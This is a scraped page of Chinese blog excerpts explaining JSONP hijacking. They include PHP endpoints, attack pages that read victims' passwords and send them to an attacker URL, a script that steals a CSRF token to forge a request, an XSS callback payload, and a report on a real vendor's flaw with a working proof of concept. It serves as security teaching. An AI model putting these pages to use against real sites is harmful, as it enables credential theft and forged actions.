精华内容
参与话题
问答
  • JSONP 劫持漏洞实例

    千次阅读 2018-11-15 14:58:00
    0x01 Jsonp简介 Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。 为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢...

    0x01 Jsonp简介

    Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

    为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略。

    同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。

    0x02 JSONP劫持漏洞实例

    getUser.php

    <?php
    header('Content-type: application/json');
    $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
    //json数据
    //$json_data = '["id","user"]';
    $json_data='({"id":"1","name":"Aaron"})';
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
    ?>

    Payload利用:

    客户端实现 callbackFunction 函数

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    </head>
    <body>
    <script type="text/javascript">
    function callbackFunction(result)
            {
                alert(result.name);
            }
    </script>
    <script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
    </body>
    </html>

    jQuery 使用 JSONP

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>JSONP劫持测试</title>
        <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    
    </head>
    <body>
    <div id="divCustomers"></div>
    
    <script type="text/javascript">    
        $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
              alert(getUsers.name);
        });
    </script>
    </body>
    </html>

     

     

     

    参考资料:

    JSONP 简单教程 http://www.runoob.com/json/json-jsonp.html

    展开全文
  • jsonp劫持漏洞

    2020-04-14 10:55:27
    第一次遇到了jsonp劫持漏洞,并且通过此漏洞绕过token进行成功的csrf攻击,仅以此文进行记录分享。 JSONP 什么是jsonp? Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那...

    原文https://xz.aliyun.com/t/5143

    第一次遇到了jsonp劫持漏洞,并且通过此漏洞绕过token进行成功的csrf攻击,仅以此文进行记录分享。

    JSONP

    什么是jsonp?

    Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

    JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:

    callback({ "name": "kwan" , "msg": "获取成功" });

    JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

    常见的jsonp形式类似:

    http://www.test.com/index.html?jsonpcallback=hehe

    传过去的hehe就是函数名,服务端返回的是一个函数调用,可以理解为:evil就是一个函数,(["customername1","customername2"])就是函数参数,网站前端只需要再编写代码处理函数返回的值即可。

    jsonp劫持漏洞

    漏洞很简单,在本地复现一下。

    【JSONP_callback.php】:jsonp接口,返回用户的账户密码(简单起见,就直接写死返回值了)

    <?php
        header('Content-type: application/json');
        $callback = $_GET["callback"];
        //json数据
        $json_data = '{"customername1":"user1","password":"12345678"}';
        //输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    ?>
    

    请求该接口并加上callback=hello,返回值如下

    在返回值开头中可见hello,如果我们修改callback的值为其他值,此处的返回值也会相应改变。我们可以劫持callback参数,自己构造callback处理函数,受害者点击我们伪造的链接后,向真正的jsonp接口发起请求,请求得到数据的处理方式由我们自己的callback处理函数处理,由此可以达到劫持目的。

    比如,我们编写如下攻击页面:

    <html>
    <head>
    <title>test</title>
    <meta charset="utf-8">
    <script type="text/javascript">
    function hehehe(obj){
        alert(obj["password"]);
        var myForm = document.createElement("form");
        myForm.action="http://localhost/JSONP_redirect.php";
        myForm.method = "GET";  
        for ( var k in obj) {  
            var myInput = document.createElement("input");  
            myInput.setAttribute("name", k);  
            myInput.setAttribute("value", obj[k]);  
            myForm.appendChild(myInput);  
        }  
        document.body.appendChild(myForm);  
        myForm.submit();  
        document.body.removeChild(myForm);
    }
    </script>
    </head>
    <body>
    <script type="text/javascript" src="http://localhost/JSONP_callback.php?callback=hehehe"></script>
    </body>
    </html>
    

    用户访问此页面后,会自动去请求JSONP_callback.php,返回值会进入hehehe函数进行处理,在hehehe函数中,会弹出密码值、创建表单自动提交用户密码到攻击者服务器、最后重定向到百度。实际效果如下:

    删除弹窗之后,攻击过程对受害者就是完全不可见的。

    绕过token防护进行csrf攻击

    JSONP劫持其实是属于CSRF攻击范畴的,毕竟要拿到敏感数据是需要用户登陆并点击的,所以JSONP劫持是CSRF攻击的一种手段。既然属于CSRF攻击范畴,那么JSONP劫持所作的自然也不止是读取敏感信息(其实在这点上,单独的csrf攻击还不好去读取敏感数据),利用JSONP还可以在某些情况下绕过csrf常见防护形式之一的token防护。

    如开头所说,我上周成功利用了JSONP劫持来完成了一次csrf攻击,我以此例来说明如果通过JSONP绕过token防护进行csrf攻击。

    首先,在目标站上的请求中我发现总是有参数jscallbackhtmlcallback,所以我在一个返回敏感信息的url后面添加了这2个参数,发现均有返回,成功确认此处有jsonp劫持漏洞,然后,我开始去寻找更多的jsonp接口,出乎意料的是,我发现在整个网站上都存在jsonp劫持,而不是单纯在某个连接上。我猜测这一情况的原因是网站每个页面上的通用代码出了问题,或者是某个js文件出了问题。我查看了几个页面的源代码,发现可能是第一种原因,我在这些源码找到了多个jscallback和htmlcallback。有了jsonp之后,我像上面一样编写攻击页面来获取敏感信息。

    然后在对关键操作进行csrf漏洞挖掘的时候,我发现在表单中有个隐藏的token值,灵光一闪!既然全站都有jsonp,我为什么不在这个操作页面通过jsonp获取到整个页面代码,读取其中的token值,再构造完整的表单,自动提交即可完成csrf攻击!完美的操作。

    说干就干,确定这个页面的jsonp没有问题(这儿的图截错了,忘了改callback参数值):

    编写攻击页面的代码如下:

    <html>
    <head>
    <title>test</title>
    <meta charset="utf-8">
    </head>
    <body>
    <div id="test"></div>
    <script type="text/javascript">
    function test(obj){
        // 获取对象中的属性值
        var content = obj['html']
        // 正则匹配出参数值
        var token=content.match('token = "(.*?)"')[1];
        // 添加表单节点
        var parent=document.getElementById("test");
        var child=document.createElement("form");
        child.method="POST";
        child.action="http://vuln.com/del.html";
        child.id="test1"
        parent.appendChild(child);
        var parent_1=document.getElementById("test1");
        var child_1=document.createElement("input");
        child_1.type="hidden";child_1.name="token";child_1.value=token;
        var child_2=document.createElement("input");
        child_2.type="submit";
        parent_1.appendChild(child_1);
        parent_1.appendChild(child_2);
    }
    </script>
    <script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
    </body>
    </html>
    

    htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操作对象中属性名为html的值,正则匹配出token,再加入表单,自动提交表单完成操作,用户点击该攻击页面即收到csrf攻击。

    在一个功能点完成csrf攻击后,我基本可以基于此,完成全站的csrf攻击。

    但是,在操作另一个功能点时,发现该功能点还进行referer验证,需要绕过referer。绕过referer也是csrf攻击中常见的场景了,常见绕过方法:

    • 空referer
    • referer过滤不严谨

    这几天我还看到了一个方法,没有试验过:使用requset merging bypass referer(jsonp)检测

    可以看到,想要通过jsonp劫持来绕过token进行csrf还是挺麻烦的,条件太多:

    1. 有jsonp劫持
    2. 能在源码里找到token
    3. 没有referer防护

    jsonp除了连打csrf之外,还可以连打xss,即把callback参数值写成xss payload:

    ?callback=<script>alert()</script>

    防护建议

    摘自:http://blog.knownsec.com/2015/03/jsonp_security_technic/

    1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
    2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
    3、严格过滤 callback 函数名及 JSON 里数据的输出。
    4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
    5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用

    参考

    http://blog.knownsec.com/2015/03/jsonp_security_technic/

    https://xz.aliyun.com/t/176

    https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html

    https://www.colabug.com/3885838.html

    http://docs.ioin.in/writeup/threathunter.org/_topic_59a9329cec721b1f1966ea2e/index.html

    展开全文
  • jsonp劫持

    千次阅读 2017-01-31 15:24:29
    基础: 说说JSON和JSONP,也许你会豁然开朗,含jQuery用例  JSONP 安全攻防技术 【技术分享】JSONP注入实战指南  案例: payload: $.ajax({type:"get",url:"...login_type=Sina
    基础:

    说说JSON和JSONP,也许你会豁然开朗,含jQuery用例    

    JSONP 安全攻防技术

    【技术分享】JSONP注入实战指南 

    案例:

    payload:

    $.ajax({type:"get",url:"http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun",dataType:"jsonp",jsonp:"callback",success:function(json){console.log(json);}});

    wooyun-2015-0124949

    /mapi/Lib/core/common.php中有 fanwe o2o的output函数:

    /**
    * 输出接口数据
    * @param unknown_type $data 返回的接口数据
    * @param unknown_type $status 当前状态 0/1
    * @param unknown_type $info 当前消息 可选,为空时由客户端取默认提示(默认提示包含成功的默认提示与失败的默认提示)
    */
    function output($data,$status=1,$info="")
    {
    header("Content-Type:text/html; charset=utf-8");
    $r_type = intval($_REQUEST['r_type']);//返回数据格式类型; 0:base64;1;json_encode;2:array 3:jsonp
    $data[CTL] = MODULE_NAME;
    $data[ACT] = ACTION_NAME;
    $data['status'] = $status;
    $data['info'] = $info;
    $data['city_name'] = $GLOBALS['city']['name'];
    $data['return'] = 1; //弃用该返回,统一返回1
    $data['sess_id'] = $GLOBALS['sess_id'];
    if ($r_type == 0)
    {
    echo base64_encode(json_encode($data));
    }
    else if ($r_type == 1)
    {
    echo(json_encode($data));
    }
    else if ($r_type == 2)
    {
    print_r($data);
    }
    else if($r_type == 3)
    {
    $json = json_encode($data);
    echo $_GET['callback']."(".$json.")";
    }
    exit;
    }


    这是一个通用的输出函数,所有/mpai下的输出全部由output输出。
    我们可以看到,这里当$_REQUEST['r_type']==3的时候,输出格式为jsonp。
    所以,如果$data中有敏感信息,即会造成jsonp劫持。
    结果当前函数中就存在一个敏感信息:sess_id
    $data['sess_id'] = $GLOBALS['sess_id'];
    用户登陆后(fanwe o2o 默认用户账号密码都是fanwe,以这个用户为例),可劫持用户的session(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun):

    QQ20150706-14@2x.png


    继续深挖,刚才访问的这个URL(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun),实际上就是将账户fanwe绑定了sina_id为ooooo。
    那么另外一处,我们可以直接用ooooo进行登录:
    http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun

    QQ20150706-15@2x.png


    如上图,可以直接劫持用户密码。
    写了个POC证明问题。受害者登录http://o2odemo.fanwe.net,再访问该POC即会弹出他的账号、邮箱、密码:
    http://mhz.pw/game/tx/fanweo2o.html

    QQ20150706-16@2x.png

    漏洞证明:

    http://mhz.pw/game/tx/fanweo2o.html

    QQ20150706-16@2x.png


    展开全文
  • JSONP劫持

    2019-07-11 17:27:24
    简介 浏览器使用同源策略(SOP)对网站安全进行防护,但一定程度限制了前端功能实现,所以就有了很多跨域手段,所有带src或href属性的标签可以跨域。 比如 < script src = "..." > <...

    简介

    浏览器使用同源策略(SOP)对网站安全进行防护,但一定程度限制了前端功能实现,所以就有了很多跨域手段,所有带src或href属性的标签可以跨域。
    比如

    < script src = "..." > </script>
    <img src="...">
    <video src="..."></video > 
    <audio src = "..." > </audio>
    <embed src="...">
    <frame src="...">
    <iframe src="..."></iframe > 
    <link rel = "stylesheet"href = "..." > 
    <applet code = "..." > </applet>
    <object data="..." ></object >
    

    JSONP如何跨域呢,比如要在 a.com 获取 b.com/getData.php 的数据,可以利用 src 属性标签可以跨域的特点,在 a.com 使用 <script>调用,就是用 script 引入一个文件,然后获取后面携带的 b.com 返回的参数。

    比如

    <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
    <script type="text/javascript">
        $.getJSON("http://www.b.com/getData.php?callback=?", function(data){
              console.log(data);
        });
    </script>
    

    JSONP劫持

    当网站通过JSONP方式传递用户敏感信息时,攻击者可以伪造JSONP调用页面,诱导被攻击者访问来达到窃取用户信息的目的。
    通俗点说,就是A网站有一些接口使用了JSONP技术(简称jsonp apis),你登录A网站后,我再诱导你访问我构造的B网站,我就可以获取你登录状态下访问A网站的jsonp apis的返回结果。
    比如:
    当攻击者登录了360网站,然后再访问以下网址时,以下网址可以获取到用户信息。
    www.asdf.com/x.html

    <script>
    function wooyun(v){
        alert(v.username);
    }
    </script>
    <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
    

    再放一个最简单的例子:
    在这里插入图片描述这个意思就是说,用户登录了QQ空间或者QQ邮箱,然后诱导访问精心构造的B网站,因为这个接口是JSONP的,允许跨域,所以在B网站隐藏调用这个接口,就可以获取到访问者的QQ号,也就是JSONP利用。

    jsonp利用博大精深,请参考下方参考资料中的真实案例。

    参考资料

    http://www.anquan.us/search?keywords=jsonp&content_search_by=by_bugs
    http://drops.xmd5.com/static/drops/papers-6630.html
    http://blog.knownsec.com/2015/03/jsonp_security_technic/

    展开全文
  • 今天一起来看下 JSONP 相关的知识和安全性。 JSONP: 我们开发时可能会有一些接口,前端向后端发送 XMLHTTPRequest ,后端返回 JSON 数据或其他以供前端展示 : 但是由于 浏览器的同源策略 ,在浏览器层面...
  • 主要介绍了详解JSON和JSONP劫持以及解决方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
  • jsonp 劫持 & 防御

    千次阅读 2018-02-08 22:28:08
    http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/1、Callback可自定义导致的安全问题Content-type与XSS漏洞再输出 JSON 时,没有严格定义好 Content-Type( ...
  • Jsonp劫持攻击理解

    2020-06-29 16:47:13
    Jsonp劫持 Ajax、Jsonp和Json的区别 Ajax:web端通过GET或POST等HTTP协议请求从外部获取数据并进行数据的处理,默认不能跨域(域名端口相同原则),但可以通过代理跨域; $.ajax({ url:‘请求地址’, type: ...
  • 【Web安全】JSONP劫持

    2020-02-10 21:30:19
    一、JSONP为何物 JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来...
  • 分享一下我老师大神的人工智能教程!...也欢迎大家转载本篇文章。... json劫持 json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据...
  • 因为新浪已经修复了问题,所以我先把这个漏洞分享出来。以下是当时写的部分文章。 0x01 引子 听说新浪五月送衣服,我其实也没太多空去挖洞。本来想交一个两年前挖的CSRF刷粉,结果拿出来一看那洞早没了,目标站都...
  • 关于 JSONP JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据...
  • Jsonp跨域漏洞浅析

    2020-05-11 12:06:23
    (2)跨域资源共享(CORS)cors跨域漏洞浅析 Json一般长这样 {“name”:“aufeng”, “blog”:“https://blog.csdn.net/weixin_41598660”} 它是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,...
  • 在实习过程中接触过所谓的JSON Hijacking 漏洞,但最近在写论文时发现理解得不深,好像跟xss与csrf又有点区别与联系,索 性深入学习了下JSONP。 下面一段话截取自:...
  • JSONP与CORS漏洞挖掘

    千次阅读 2018-03-05 14:38:01
    前言本文从笔者自己对同源策略的理解来谈谈与之相关的JSONP劫持和CORS错误配置这两类安全问题。 同源策略(SOP)同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的...

空空如也

1 2 3 4 5 ... 11
收藏数 219
精华内容 87
关键字:

jsonp劫持